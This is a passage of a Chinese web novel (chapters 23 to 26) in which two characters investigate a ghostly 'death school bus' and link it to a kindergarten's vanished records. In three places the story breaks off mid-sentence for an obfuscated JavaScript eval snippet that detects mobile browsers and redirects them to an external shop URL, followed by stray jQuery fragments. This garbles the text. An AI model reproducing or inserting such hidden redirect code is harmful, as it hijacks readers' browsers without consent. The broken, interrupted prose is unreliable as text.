从私心层面讲,多少还是希望有关系的,这好歹是一条线索,死亡校车也不知道什么时候再出来,调查几乎没有进展,太难熬了。
柳南絮想了想,最终给出一个比较合适的回答:“既然可能性太多,有时间你先了解一下江玉蓉为什么会抓住你,到底是认错了人,还是有隐情,如果不是线索的话,我们就要着重往宋彩彩身上入手调查了。”
莫宁觉得这样也行,点点头,道:“好。”
车内照明的小灯光亮昏黄且微弱,两人思绪一放松就感觉眼睛累得慌,再看时间已经不早了,柳南絮提出送莫宁回去。
任劳任怨的路灯把柏油路照得明亮,同时把投在地面上的影子拖长。
莫宁报了地址后安安静静地靠着座椅,不出一分钟就进入梦乡。
柳南絮看了她一眼,把车速放慢,开得更加平稳些。
临平市因市中心过于拥挤,这些年一直在由西向东开发。
“古泉路”这条路就是近些年才扩大建宽变成主路的,在规划没有延展过来的时候,这片区域虽然学校多,但属于郊区。
不过由于开发进度比较缓慢,所以这片区域目前零星分布着许多城中村,再往东走,沿路上的危房越发多。
“镇东村”是目前屈指可数没来得及规划的村子,但即便这样,村子里面的村民也搬离得差不多了。
村子空荡荡的没什么人气儿,自然而然压低了房价。
莫宁来这里实习,没好意思问父母要太多钱,实习期的工资本来就不高,又没个熟人帮衬,用钱的地方多,钱必须省着用,所以她几乎是很果断地选择了租住在这里。
23. 第二十三章
距离目的地越近,光亮就越小,连路灯都没有排过来。
临近村口的公交站点刚过,莫宁就迷迷糊糊睁开了眼,她忍着眩晕,看了看窗外,辨别一会儿开口说:“停这里就好了,村子里面路窄,你调头不好调,别再把你车刮了。”
路灯没有排过来,好在停车位画过来了。
柳南絮随便找一个空位把车停稳,看着黑灯瞎火的村子问:“这么远,之前你是怎么回去的?”
“坐公交啊!”莫宁扭着身子指向后面,“看到刚过去的那个公交站点没?我坐到那里下车走回去就行了。”
莫宁等了等,见柳南絮没话要说了,便转正身子下车,只是没出三秒又拉开车门坐了进来。
“柳南絮,我问你,死亡校车里面那个样子,根本不存在天灾或者交通事故的可能性,只有他杀,我们既然要破解死亡校车,是不是必须找到凶手啊?”
“是要找到凶手,通过‘女老师已经去世’这点可以得出,死亡校车里面的人是存在的,我们看见的画面并不是假象,如果我们找到宋彩彩的时候面对的不是一座冰冷的墓碑,死亡校车还存在‘会是未来发生的事’这种可能性。”
柳南絮又盘算了一下,才说出自己的想法:“但是现在,我认为是过去发生的事。”
睡着醒来的眩晕感已经完全消失,柳南絮的话确实有道理,莫宁想到一点,提醒说:“我之前也这样认为,所以专门上网查过,不过一点相关的字眼都没有找到。”
柳南絮想过上网查一下,只是还没找到时间,听了莫宁的话也不感到意外。
“宋彩彩的家属给出的宋彩彩去世原因和死亡校车内的画面毫不相干,网上查不出来这个事件反倒对了,我认为和这个事件相关的一切都被抹去了,人的记忆和网络上的痕迹,并且人的记忆不单单只是被抹去,还有被篡改。”
莫宁更加苦恼,一连几问:“那我们该怎么找凶手?凶手的记忆会不会也被篡改或者抹去了?会不会就是凶手搞了什么鬼,才把事情变成了这个样子,为的就是不被警察抓到?”
“这我就不知道了,我只知道,目前唯一的突破口就是校车上的人,如果可以,都打听打听,确定一下是不是每个人的离世原因都被改写了。”
这话说出来简单,做起来难度有多大柳南絮心里清楚。
他们只是普通的小市民,没有调查户口之类的权力,要想找到死亡校车内受害者的家属,除非偶遇,就像碰到宋彩彩的家属一样。
那太拼运气了。
柳南絮不希望被逼到这种地步上,所以才不肯放弃江玉蓉,万一她的儿子就是和死亡校车有关呢?
这一点不确定的线索,让柳南絮理解了莫宁在发现他也能看见死亡校车时的兴奋和忐忑。
确实太不容易了。
“好,我之后多到处逛逛,说不定会再撞见线索。”莫宁说完,打了个哈欠。
大概是因为理解莫宁了,又或许是因为心疼她了,情绪消化在冷静的表情中,又从平淡的话语中涌现出来。
柳南絮解开安全带的同时说:“我送你回去。”
莫宁实在是太困了,敏锐值严重降低,由于侧着身拉开车门下车,她没看到柳南絮的动作,只是半闭着眼重复之前的话。
“村子里面的路窄,还不平,真不好调头,没骗你。”
等莫宁说完,柳南絮已经下车站到了她身侧,道:“没说你骗我,也没说开车送你,步行。”
“为什么?两步路没必要送。”柳南絮的反常让莫宁降低的防备心又拉了上去,她在晚风中开玩笑试探,“你突然来这么一出,我还怪不适应的。”
柳南絮装作没发现莫宁眼中的警惕,牵扯出许静,说:“我妈说的,她让我多照顾照顾你,你要是受了委屈,她不会轻饶了我,我可不想回家连饭都吃不上。”
莫宁更加不明白了,心里很疑惑:委屈吗?自己回家哪里会委屈了?
虽然这样想,但还是默许了柳南絮陪同自己回家的举动。
夜幕如同恶兽侵袭而来,庞大的身躯把偶然闯入的人们连带影子尽数遮掩。
莫宁说“两步路”,却足足从村头走到了村尾。
二人停在一户二层小平房外,再往后是一望无际的黑夜,就像眼睛被糊上了一块黑布。
“那是庄稼。”莫宁见柳南絮望着远处发呆,随口说道,之后掏出钥匙冲他晃了晃,又说,“我到了,你回去吧!谢谢你送我回家。”
大门上安有一个声控灯,说话的声音惊扰到了它,促使它发着生硬的冷白光开始工作,把柳南絮的皮肤照得更加白。
他没拒绝莫宁的感谢,接下话说:“不客气,你好好睡觉,别胡思乱想。”
“你也是,拜拜!”莫宁站在门内挥挥手,之后关门在里面落锁。
柳南絮又站了一会儿,直到声控灯再次蛰伏起来,他放轻脚步,仿若不想留下痕迹般出了村子的范围。
汽车快速向着亮光的方向奔跑,把被遗忘在城市边沿的村子狠狠甩在身后,前面是灯红酒绿,后面是孤寂黑暗,两个几近相斥的地方,却实实在在被圈在一起。
回到家,柳南絮忙完杂事坐在床上看太阳花幼儿园的公众号,内容很详细,小朋友们每天的午餐、课间活动都会以视频形式上传在里面,过节的放假、活动的组织通知里面也有。
内容实在太多,往下扒了扒,找到了篇关于校车的文章。
文章很长,收费这种最基本的问题写在里面,中间还有几张图片,园长的单人照片,校车的各处展示照片,司机手持驾照的照片,最后还有一张校长、司机、校车的合影。
不管是用词用句,还是照片展示,都把“安全”体现得淋漓尽致。
下面的评论区留言很多,千篇一律都在夸赞太阳花幼儿园的校车多么多么安全负责,点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187534|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赞最多的评论中还写了“给保障孩子安全的优秀校车司机点赞,不愧是被临平市交通官方年年点名表扬的学校”。
“年年点名表扬”这几个字被柳南絮重点留意了一下,从头翻到尾,确定除此之外再没有值得调查的点后退出页面,他刚打开浏览器一通电话就弹了出来。
来电铃声刚响就被打断,柳南絮开口问:“喂,怎么了?”
隔了好一会儿,莫宁的声音传来,道:“我只想着和你说太阳花幼儿园有公众号,忘了和你说,临平市官方去年发布的幼儿园校车道路违章情况中,表扬了太阳花幼儿园。”
听着对方模糊的声音,柳南絮没说自己已经知道了,道:“好,我知道了。”
“先说好,我没故意瞒你,说了全都告诉你就是全都告诉你,这点只是我一时忘了说。”莫宁说话的声音越来越小,隔着网线也能知道是困得不行了,但还是强撑着打电话过来解释。
许是因为夜晚安静,使得人容易想东想西。
“莫宁,”柳南絮喊了一声,没得到回答也不在乎,继续往下说,“在我这里,合作关系一旦建立,没有‘中途解除’这一说,除非是对方想算了,所以,你没必要害怕我会反悔或者抛弃你。”
回应柳南絮的不是清晰或模糊的话语,而是细微的呼吸声。
莫宁睡着了,在把要说的消息告诉柳南絮后就睡着了,至于柳南絮说的话,她压根没听到一个字。
刚才的安慰都白说了,柳南絮叹了一口气,默默把电话挂断,心想:还是给你省点电话费吧。
莫宁却并不知道电话已经挂断,隔了好久,用如同苍蝇嗡般的音量说:“你老板人真挺好的,他找我也是因为关心你,你一个员工,对老板尊重点,免得丢了饭碗。”
说完,她才彻彻底底睡着。
只是真可惜,柳南絮说的保证没有传到莫宁的耳朵里,莫宁变着法的关心同样没能传到柳南絮的耳朵里。
这样算来,他们之间的缘分还真是……略浅。
明天还是工作日,必须保持有足够的精神,柳南絮看了一眼时间,放下手机先睡觉,毕竟死亡校车不是一时片刻能解决的事。
夜深了又浅,太阳从高楼大厦背后爬出来。
柳南絮这天的预约比之前要少,线上咨询倒是一个接一个,一天下来,水都没喝上几口。
晚上临近下班,莫宁发来短信,是一张照片,柳南絮一眼就认出是死亡校车里面受害的孩子之一,发消息问莫宁在哪儿,却没有回信。
办公室格子墙中间传来钟表走针的声音,明明不大,每一下却都落到了柳南絮心上。
在等消息的期间,他估摸莫宁极有可能会在江玉蓉那里,消息打了又删,删了又打。
柳南絮清楚知道自己实在不放心,只是不知道不放心什么,到底是江玉蓉不好的精神状态,还是莫宁只身一人的大胆探查?又或者,两点都有。
24. 第二十四章
同一个时间段,位于心理咨询工作室南边的水安园小区,莫宁正手里捧着一杯放凉的水,腿上放着一本展开的相册,静静地听江玉蓉回忆往昔。
不大的折叠小方桌被相册、相框覆盖。
江玉蓉讲第一次为爱洗手做羹汤,讲被孩子折腾的日日夜夜,讲自己追不起的梦想,讲逃脱不开的过去,讲浑浑噩噩的现在,讲迈不进去的未来。
莫宁放低手,玻璃水杯落到厚重的相册上,轻微的重量压得她突然意识到,不论是许阿姨,还是江姐,照片在她们心中是难得的宝贝。
哪怕记忆被抹去,爱依旧停留在上面。
帮助她们用来找回逝去的过去,用来支撑未知的未来。
手机轻微震动了几下,莫宁知道是柳南絮发来的消息,只是江玉蓉在身侧说得起劲,她不好掏出手机回复,更不好起身打断她。
晚上六点半,是心理咨询工作室下班的时间,刘景乐呵呵地下楼,李乐和赵安梦早已经提着包准备好了。
难得准点下班,落锁后三人各自回家。
莫宁和江玉蓉聊完,见江玉蓉有起身相送的准备,抢先开口推拒了。
匆匆走出小区她才掏出手机,柳南絮发了三条消息。
第一条是让她发个位置,隔了几分钟才发来第二条和第三条消息,一前一后发的,都是交代她要小心一点,见机行事,保障自身安全。
莫宁猜测柳南絮一定还在心理咨询工作室,所以没问他下班时间,飞快打下“我去找你”点击发送收起手机。
柳南絮收到消息的时候正在网上搜查临平市交通官方历年对校车的通报情况,规范校车的政策出台距离现在统共才六年时间,所以通报情况并不多,看起来还算比较轻松。
由近年往前翻看,每一年都能在表扬的部分中看到太阳花幼儿园,下面的评论区更是帮这个幼儿园把好感值拉满。
一连看了四篇,什么有用的信息都没有查到。
反倒眼睛开始干涩了,柳南絮闭上眼睛休息,心想:会不会是之前的内容被改写了,或者被抹去了?
大概是觉得自己都还没看完就这样想太不负责任,柳南絮睁开眼继续查找下一年份的通报,结果通篇都没有提到过太阳花幼儿园。
太不对劲了,不对劲到几乎要把线索摆在明面上。
柳南絮特意收藏了一下网址页面,然后打出最后一个年份,鼠标的符号落在“搜索”上迟迟没能点下去。
他并不是一个绝对的唯物主义者,所以遇到眼下这种情况,难免会生出祈祷的心思。
终于点了下去,偏偏网线又出现迟钝,页面迟迟不往下跳转,仿佛是故意要磨他。
紧张的气氛被卡掉的网络点燃,柳南絮暗暗心想:希望出现一个希望。
突然,清脆的来电声音绕满了整个房间。
柳南絮松开鼠标接电话,还没开口说话,对面的莫宁就先开口问他。
“喂,柳南絮,你人在哪里?”
柳南絮还没看手机消息,所以不知道莫宁来了,说:“工作室的办公室,你那边要是处理好了直接过来找我就行,现在这个时间点没公交了,等下我送你回去。”
“我现在就在工作室门外。”
莫宁仰头顺势往柳南絮位于二楼的办公室看去,见里面确实还亮着光,也不知道是该同情柳南絮还是苦恼接下来自己该怎么回家。
“但是工作室的店门锁了,卷闸门都降下来了,你们下班都不用打卡的吗?怎么把你给忘里面了?”
柳南絮听见莫宁的话,并不觉得稀奇。从他的反应上看,这事儿不是一次两次了。
只不过之前都是把刘景关里面,他今天还是第一次碰上。
“工作室确实不打卡,我现在给刘哥打电话,你等等。”柳南絮说着站起身走到窗边,与此同时,电脑上的页面加载完毕。
莫宁干脆坐到门店外的台阶上,说:“好,那我先挂了,电话费太贵了。”
临平市二环道路略显拥堵,一眼扫过,路上汽车的价格一辆比一辆昂贵,面包车反倒成了稀罕物。
好不容易能准点下班,刘景今晚约了几个朋友,一起到市中心新开的那家酒吧玩,接上乘顺风车的那位朋友,开车开到半途手机响了。
刘景还以为是约玩的朋友打来的,本来开玩笑的话都准备好了,直到耳边的一声“喂”响起。
“喂!”刘景也跟着说了一声,继而才笑着说,“这个时间点接到你的电话还有点意外,怎么了?”
“我还在店里,门锁了……”
对面汽车的鸣笛声让柳南絮顿住了,他知道刘景住的地方不远,现在还在路上只能是在外面玩。
刘景身为老板,平时忙得很,找个空不容易,柳南絮一时间竟没法开口让人回来帮忙开门,毕竟刘景之前被锁在里面从没给谁打电话让人回来开门。
可话都说到这里了,就算柳南絮不继续往后说,刘景也知道是什么意思,乐着说:“成,不过你需要多等等,我这边堵高架桥上了。”
多等会儿而已,柳南絮自然不会介意。
刘景倒是还要挨个给约好的几个朋友打预防针,发消息表示自己临时有事,会晚到。
坐在副驾驶上的朋友名叫周言颂,此时正把胳膊肘撑在车窗上,手支着头,闭着眼睛在休息,当刘景挂断电话后他立即笑着问道:“你员工?你这老板当的真够意思啊!都开到这边来了还舍得回去帮人开门?”
刘景用炫耀的语气说:“没办法,谁让我是老板呢!”
周言颂新收到了一条消息,自己没看先展示给刘景看,说:“等到了那几个铁定要催你买单。”
周言颂和刘景俩人是大学同学,不同的是,周言颂是富家子弟。家里人一直想让他打理自家生意,始终遭到拒绝。在本科毕业踏入社会后,周言颂坚决地选择了与专业相关的行业。
周家代代从商
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187535|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还没出过周言颂这样的另类,一大家子便明嘲暗讽他是“烂泥扶不上墙”。
谁都以为周言颂就这样了,没想到突然有一天,他辞去工作,回家来接受父母的安排了。
不出半天,“烂泥回头”的消息在周家传了个遍。
周言颂学习能力很强,把长辈安排的工作打理得挑不出任何差错,很快便能独当一面,惹得不少亲戚向周言颂的父母打听到底是怎么把周言颂教回正途的。
刘景读完研来到临平市,见昔日同窗谈吐间都流露着商人唯利是图的气息,以宽广的胸襟和他再次迅速相熟。
两人玩到现在,关系好到可以蹭吃蹭喝蹭住。
今天晚上刘景选的地方虽然是新开的,但所处的位置寸土寸金,所以一群人要是放开了消费,金额不会小。
听了周言颂的话,刘景丝毫不慌,手上打着方向盘,嘴上开玩笑道:“出门前你不是吃了头孢不能喝酒吗?等到了我先自罚三杯,把祸水引到你身上。”
“嘿!这哥们儿让你给当的。”周言颂低头回消息,接话接的相当大方,“没问题,今晚你当了我司机,帮忙买个单不是什么大事。”
刘景更乐了,说:“你这人还真是有意思,明知道自己不能喝酒还往酒吧钻,简直就一活财神。”
直行出一段路后,刘景把车窗开了一条缝透气。
周言颂从上了车就开始犯困,被风灌了一下稍微清醒点,坐直顺手把自己这边的车窗全都降到底,说话的调子反倒比之前更加懒散。
“反正我在家也没意思,跟着凑热闹过过眼瘾都不行啊!今天这趟就当你之前说请我吃饭那事吧!”
前几天在家休息,周言颂给他吐槽过压力大,刘景当时在看一篇文献,顺嘴说找个时间请他吃饭散散心。
当时周言颂听了他的话一扫无精打采,吐槽他分明是一个疯狂打工人,真应了这顿饭等到明年也不一定能吃上。
要不是周言颂的提醒,刘景还真把那事忘了,说:“不过你不是说不用了,让我专心搞事业吗?”
周言颂坐没个坐样,动了动长腿反驳道:“好歹是一顿饭,我随口一客气,你还当真了,既然这样,过年到你家蹭饭吃。”
刘景出奇地没再开口,周言颂在他的沉默中意识到是哪句话出了问题。
“我让你搞事业你就搞得废寝忘食,看不出来你这人还挺听劝。”
周言颂一边说着,一边把目光落在刘景身上,观察他的反应。
“再说了,我说那句话的时候都哪年哪代了,年少无知张嘴就来,现在为了负责任,我可得再交代你一句,哪怕事业再重要,也要保重好自个的身体,身体是自己的,别不当回事。”
刘景这回倒没什么异样,仿若从未有过情绪似的开口道:“我身体挺好的,再活八十年都不成问题。”
听见他还能开玩笑,周言颂放心下来,继而小心着问:“要不逢年过节你来我家?”
25. 第二十五章
周言颂停顿一下继续往下劝:“反正离得近,你来吃饭就添双碗筷的事儿,人多还热闹,你去了,在我爸妈面前替我说说好话,他们一开心,说不定能管我管得松些,也好让我喘口气,讲真的,这几年在家里,我真快要憋死了。”
刘景的家庭并不富裕,他是从山沟沟里面走出来的,随着他学历一升再升,家里上上下下,什么直系亲属,什么远房亲戚个个都本着“一人得道,鸡犬升天”的观念,以为只要刘景熬出了头,他们也可以跟着沾光吃香喝辣。
大学期间,以刘景的能力完全可以继续往上升,只是家里面乱成了一锅粥,个个都催着他尽快毕业步入社会工作赚钱,有时候还会仅用三两句话连带结婚生娃一并催了,烦都要烦死了。
刘景不顾导师的挽留,狠心毕了业,却又被家里人烦得要命,所以自从跑来临安市创业打拼就再也没回去过,和家里人之间的联系几乎算断干净了。
相关的琐事刘景都和周言颂三言两语讲述过,说的时候甚至还自嘲称有些东西是剔除不掉的,被周言颂难得动手拍了一下肩。
往常过年过节刘景都是一个人在家窝着,谁约都不出门,现在听到周言颂的话,自然明白他话里的深意,依旧婉拒。
“逢年过节你家客人那么多,我一进屋,明显能看出不是一个圈子里的。”
“你当我从来没有过这种感觉?我有时候跟着我爸妈他们应酬,闻那里的空气,哎!这里的空气勉强也差不多。”周言颂坐直,有模有样地给刘景扇扇风,“闻到没?在有钱人的世界里,刮过的风都自带奢侈气息。”
前面的红绿灯泛着绿光,车流松松垮垮地向前行驶,导航的提示音被急于当心灵导师的周言颂关小。
“原本我也有你这种心理,一直觉得我和我爸妈不是一个圈里面的,他们是真才实干富N代,拼的都是真本事,我只是个混吃混喝没丁点本事的富N+1代,行走江湖只会和人拼背景。”
“你可以想象一下,好比一步一句我爸谁谁谁,三步一句我妈谁谁谁。”
“所以,后来我干脆想开了,管他什么一个圈不一个圈的,怎么自在怎么来呗!”
刘景被他逗乐,不由得感慨道:“你现在的嘴皮子可比上学的时候厉害多了。”
“那是,我好歹也是被逼着打拼了几年的。”周言颂说完,目视前方,像是在回忆过往。
“还说让我注意身体,先管管自己吧,你身上的毛病可比我要多。”刘景控制车窗,把两边的车窗都给升了回去,一点缝隙没留,之后又赶在朋友发表意见之前开口,“欠你顿饭,我记着,改天咱俩都有空就还。”
这是划界限来了。周言颂有一肚子话要攻击刘景,睁圆了眼睛瞅了人半天一个字都没出来。
刘景待人处世面面周到,他把工作和私生活分离得很好,再往细了说,面对来访者时、心理咨询工作室内外、办公室内外、一楼二楼等等,地方不同,刘景对人的态度可能就会有区别。
细分化对于刘景来说,是理智的保鲜剂,不论怎样,都丢弃不了,因为他就是这样的人,这就是他自己。
刘景永远都不愿意丢了最真实的自己,为此愿意断绝所有不利于自身成长、进步、生活的关系。
恰恰,他有这样坚定的意志。
高等教育带给了刘景很多,开阔的眼界、优秀的能力、脱离大山的命运。同样教会了刘景很多,繁杂的知识、宽广的胸襟、割裂原生家庭的勇气。
还有最重要的一点——如何生存。
他之所以要和周言颂说明白,并不是因为生气或者讨厌,只是单纯在自我保护。
周言颂话没说出口的原因在于,眼下这一出不是刘景第一次这样,这么多年相处下来,他很清楚刘景是个什么样的人。憋了一阵实在没办法,索性又缩回去睡觉,眼不见为净。
同样都是两个人,相比起车上二人组的气氛,心理咨询工作室这边还有一定距离的二人组要安静不少。
自从柳南絮挂断电话,他就没再坐回椅子上,而是站在窗边撑着边沿往下看。
莫宁还是坐在店外台阶上的姿势,只是表面看起来安安静静的,心里面着急得快要窜上天,一直盼着刘景快点来开门。
俩人一个在店内二楼窗户边,一个在店外一楼台阶上,各自手里都攥着手机,就是始终没有交流,一个主打“看”,一个主打“盼”。
也不知道几点的时候,终于,两束车灯晃到了莫宁的身上。片刻后,刘景手捏钥匙,宛如拯救世界的大英雄般出现。
莫宁连忙起身,还不小心起猛了,险些栽倒在地,站稳后和人打招呼,说:“刘老板,实在是麻烦您了。”
刘景用钥匙遥控着卷闸门往上升,嘴上打趣道:“哟!原来是小莫来了,难怪小絮那么着急,不过怎么不喊‘刘哥’了?”
之前是故意用来气柳南絮的,现在却变成了给自己挖的坑,莫宁不好意思地解释:“喊‘刘老板’比较有礼貌。”
卷闸门升到一定的高度,刘景用钥匙把里面的玻璃门打开,笑着说:“我就不打扰你们相处的时间了,先走一步,你们走的时候记得把门锁好。”
“好。”莫宁乖乖地说。
两人对话结束,柳南絮刚好不紧不慢从二楼走到了一楼,拉开门对刘景说:“谢谢刘哥跑一趟,再辛苦把门锁一下,我们有急事先走了。”
柳南絮的说话语调、行为动作都和“有急事”挂不上钩,但刘景没多过问,摆摆手让他带着莫宁快走,善后交给他。
新开发的地方自然还比不上市中心,周言颂坐在车内,在不算明亮的灯光下隐隐觉得柳南絮有点眼熟,直到对方从汽车车灯前经过,他认出来了。
等刘景回到车上,安全带还没系好,周
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187536|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言颂就恍然大悟地说:“刚才过去的,是不是你觉得前途不可限量的那个学弟?”
“就是他。”刘景看着倒车影像打方向盘,问,“我好像没介绍你们认识吧,你怎么知道?早就认识了?”
“哦!怎么可能会认识,我之前不是谈了个小咱几届的学妹嘛!我毕业了,她还没毕业,有次开学硬要我开新车送她到学校,我大老远就看见他拿着一本书追你,后来你不是和我提过他,说你有一位好员工,还是之前的学弟,刚才见着,觉得眼熟,猜也只能猜他了。”
周言颂的逻辑和记性向来很好,记住一个人而已,不算什么。
“你来店里没一次和他凑巧的,都几年了,你俩居然还没打过招呼,我也没往‘介绍你俩认识’这方面想过。”刘景终于看了周言颂一眼,问,“对他感兴趣?”
“知道是你的好员工,不抢不抢,隔行如隔山,你给他的评价再高,我都不会巴巴找来挖人。”周言颂闭上眼睛笑着说完,然后就不吭声了。
直到车再次上了高架桥,刘景才用余光打量了周言颂一眼。
周言颂和他,由同学的身份演化成朋友,之后一人毕业变成旧友,再一人毕业回归新友,因时不时聊上一两句变回旧友。
世界上的一切都在被时间敲打,没有一样逃得过。
人心更是排在前列,比外貌产生的直观变化还要往前数。
周言颂打趣自己是富二代,什么都不会,只有背景,但既然都是成年人,即便抛开专业、抛开工作上遇到的人和事不谈,刘景也知道商场有多不好混,不然周言颂不会在才不过三十岁的年纪,每天抓着药片当饭吃。
人心从始至终都不是什么单纯、善良、恶劣……单一的总结,人心复杂且易变,正是因为这样,才活得下去,才活得痛苦,才让灵魂知道□□尚在活着。
正如刘景之前和莫宁说的那样,小孩子都比较喜欢和柳南絮讲心里话,而相对愿意找他做心理咨询的来访者,大多是事业上遇到烦恼,陷入迷茫的人。
所以刘景并不介意身边的人是个多么复杂的人,相反,他很喜欢接触这类人,这也是会把周言颂归为“朋友”的原因。
城中村“镇东村”的马路边,昨天晚上出现的车再次出现。
柳南絮一路上都很沉默,莫宁开口询问他没得到回话,便没再热脸去贴冷屁股。她现在实在懒得在柳南絮面前伪装了,反正很轻松就能被戳破。
抵达目的地,车子停稳,柳南絮解开安全带,把车内小灯打开照明,之后掏出手机解锁,上网搜索在办公室查过的东西。
不过这一次,他直接查的是刚规范校车那一年的临平市交通官方对校车的通报。
柳南絮从头到尾翻看了一遍,麻利地掏出软皮本子和笔做好准备,一连串动作相当顺滑。
架势扎得很好,下面说的话更是相当令人震惊。
26. 第二十六章
“我知道死亡校车的事故发生在哪一年了。”
由于一路没说话,莫宁本来处于昏昏欲睡的状态,听到柳南絮的话“噌”地一下子坐直、扭头,不确定地问:“什么意思?你怎么得出结论的?”
柳南絮把手机递给她,说:“这是临平市交通官方对校车的通报,最开始那一年的。”
莫宁往下翻找着柳南絮可能让她注意的点,本以为会是很难找、很细节的地方,所以一篇千字通报她一字一句地往下看,不敢遗漏丝毫内容,直到看到一张图片。
图片是太阳花幼儿园的司机和校车在幼儿园校门前拍的合照,校车正是被柳南絮和莫宁称作“死亡校车”的那辆,车牌号为:豫MMP443,司机同样是死亡校车中被杀害的司机,文章中提到姓杨。
当然,文章中不光附了这一所学校的照片,凡是被点名表扬的学校都有。
图片上的线索那么清晰,使得莫宁看看手机,再看看柳南絮,眼神中满是对新发现的惊喜,问:“你怎么想到往这上面查的?你也太聪明了吧!”
柳南絮看着莫宁的眼睛,没提在太阳花幼儿园公众号里面的评论看到的事,只说:“昨天晚上你和我说临平市去年表扬了太阳花幼儿园,我就想着查一下,碰碰运气。”
这话并不算撒谎,只能算是隐瞒了一部分事实。
“那能得到这条线索,也有我的功劳了。”莫宁开心地把手机还给柳南絮,很快又问,“但是这也只能说明死亡校车和杨司机这一年在太阳花幼儿园工作,没办法得出事故发生的年份啊?”
“你再看看下一年的校车交通报道。”柳南絮说话的时候已经开始搜索,话音落下正好搜到,便把手机递给莫宁,让她自己看。
多年前的校车并不是现在的黄鼻子校车,甚至可以说没有校车,接送学生的都是私家车或者包的公交车,安全性很低,造成了不少大大小小的事故,所以国家才出台相应政策,规范了校车。
临平市之所以会在每年年底统计校车的违章情况,就是在积极响应国家政策,促进校车安全行驶,保障学生安全,通过表彰和批评的手段把校车安全透明化,给家长和社会一个交代。
相比起上一篇,莫宁看这一篇就没那么认真谨慎了,一目十行地翻找着线索,什么都没找到不说,甚至连“太阳花幼儿园”这几个字都没有找到,更别说照片了。
把手机还给柳南絮,莫宁才开口说:“为什么这一篇报道上没有提太阳花幼儿园?”
“这就是最大的线索。”柳南絮接过手机,并没有直接退出页面,而是往下划,“我把几篇报道都看完了,每一篇都会把每一辆校车的情况交代清楚,除了这一篇,在这上面,太阳花幼儿园一点痕迹都没有留下。”
柳南絮翻到评论区,把手机再次递给莫宁,继续说:“而且你看,这篇报道的评论条数显示有四百多条,可从头翻到底,实际不超过五十条,丢掉的那几百条去哪儿了?”
“如果被人从后台删除的话,评论条数这里也会按照实际显示的标注,所以……”
震惊的喜悦伴随着瘆人的诡异在大脑中如同烟花般炸裂开来,之后更是干脆地反应在了脸上,莫宁顶着惨白的脸色继续说。
“不是被删除了,而是被藏起来了,就像你、许阿姨、宋彩彩的家属、江姐被藏起来或者改写的那些记忆一样。”
被藏起来的评论,一定是死亡校车上受害者家属的评论。
几百条,想必连标点符号都会充斥着悲伤。
莫宁哆嗦着把手机还给柳南絮,她怕再不还回去自己拿不住把手机给摔了。
柳南絮接过把手机暗灭,没再让莫宁往下看,简单告诉她说:“再下一篇报道中,关于太阳花幼儿园的校车和司机就换了人,我不知道是不是幼儿园现在的校车和司机,但感觉应该是。”
莫宁的嘴唇因为情绪而变得有些干裂,她舔了舔,又隔了好一会儿才说道:“我见过,让我看看。”
于是柳南絮重新打开手机搜索,由于还是被表扬了,所以依旧有照片,他没让莫宁从头开始看,直接翻到照片那里递出去。
莫宁没碰手机,柳南絮拿着。
看到画面,很快,莫宁就点了点头,说:“你感觉对了,我见江姐的反应很奇怪,所以留意了一下校车和开车的司机。”
杨司机在第一年被评为优秀司机,除非发生什么重大事件,太阳花幼儿园不可能把人解雇了另聘请一位司机。
更何况,就算司机人不在太阳花幼儿园工作了,校车呢?首先一辆校车的价钱不算便宜,其次后面还有手续要办,不可能说不要就不要,转头再置办一辆。
答案太明显,柳南絮什么都不用再说了。
莫宁的胆子并不小,就算小,也早就被死亡校车折磨大了。她现在情绪之所以这么强烈,实在是因为不知道该说点什么了。
本来发现这么重要的线索是值得开心的事,只是那被藏起来的几百条评论冲击力太大,莫宁不允许自己有丝毫开心的情绪,毕竟事情的原委还没有弄清楚,也不知道凶手现在被抓住了没,她怕对不起那些受害者悲痛的家属们。
传进鼻腔中的空气带着泥土和麦田的味道,每呼吸一口,都像是在补充生命力。
略显昏暗的车内异常安静,柳南絮坐在驾驶位闭上眼睛陪莫宁消化情绪,没有催促不耐,没有提醒时间,只是陪着。
十点多的时候,莫宁恢复成平常的样子,低声对柳南絮道了谢,拉开车门下车。
外面空气中泥土和麦田的味道更加明显了,莫宁站定后没有直接迈开步子往前走,而是抬头望了一下夜空。
多年前临平市为了经济发展,把环境污染得一团糟,近年开始整顿,不过效果还没显现出来。
镇东村这里的污染程度比较小,附近高楼大厦还没有被拔起来
